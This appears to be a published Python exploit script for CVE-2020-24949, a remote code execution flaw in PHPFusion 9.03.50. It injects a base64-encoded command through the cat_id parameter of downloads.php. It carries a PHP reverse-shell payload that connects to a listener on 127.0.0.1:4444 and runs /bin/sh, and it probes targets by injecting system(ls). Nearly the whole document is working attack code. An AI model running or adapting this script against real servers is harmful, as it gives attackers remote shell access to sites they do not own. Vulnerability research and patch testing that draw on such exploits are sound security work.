# Exploit Title: PHPFusion 9.03.50 - Remote Code Execution # Date: 20/05/2021 # Exploit Author: g0ldm45k # Vendor Homepage: https://www.php-fusion.co.uk/home.php # Software Link: https://www.php-fusion.co.uk/infusions/downloads/downloads.php?cat_id=30&download_id=606 # Version: 9.03.50 # Tested on: Docker + Debian GNU/Linux 8 (jessie) # CVE : CVE-2020-24949 # Found by: ThienNV import requests import base64 import argparse PAYLOAD = "php -r '$sock=fsockopen(\"127.0.0.1\",4444);exec(\"/bin/sh -i <&4 >&4 2>&4\");' " # !!spaces are important in order to avoid ==!! REQUEST_PAYLOAD = "/infusions/downloads/downloads.php?cat_id=$\{{system(base64_decode({})).exit\}}" parser = argparse.ArgumentParser(description='Send a payload to a Fusion 9.03.50 server with "Allow PHP Execution" enabled.') parser.add_argument('target', type=str, help='Turn the Allow PHP Execution verification step on or off.') parser.add_argument("-v", "--no-verify", action="store_false") args = parser.parse_args() if args.target.startswith("http://") or args.target.startswith("https://"): target = args.target else: print("[!] Target should start with either http:// or https://") exit() # verify payload PAYLOAD_B64 = base64.b64encode(PAYLOAD.encode('ascii')).decode("ascii") if '+' in PAYLOAD_B64 or '=' in PAYLOAD_B64: print("[!] Invalid payload, make sure it does not contain a + or a =!") exit() # verify vulnerable host if args.no_verify: page_data = requests.get(target + "/infusions/downloads/downloads.php?cat_id=${system(ls)}") if "infusion_db.php" not in page_data.text: print("[!] Can't seem to find infusion_db.php. QUITTING!") print("[!] If this validation is wrong just use the --no-verify flag.") exit() # send request requests.get(target + REQUEST_PAYLOAD.format(PAYLOAD_B64)) print("[*] Requests send, did you get what you wanted?")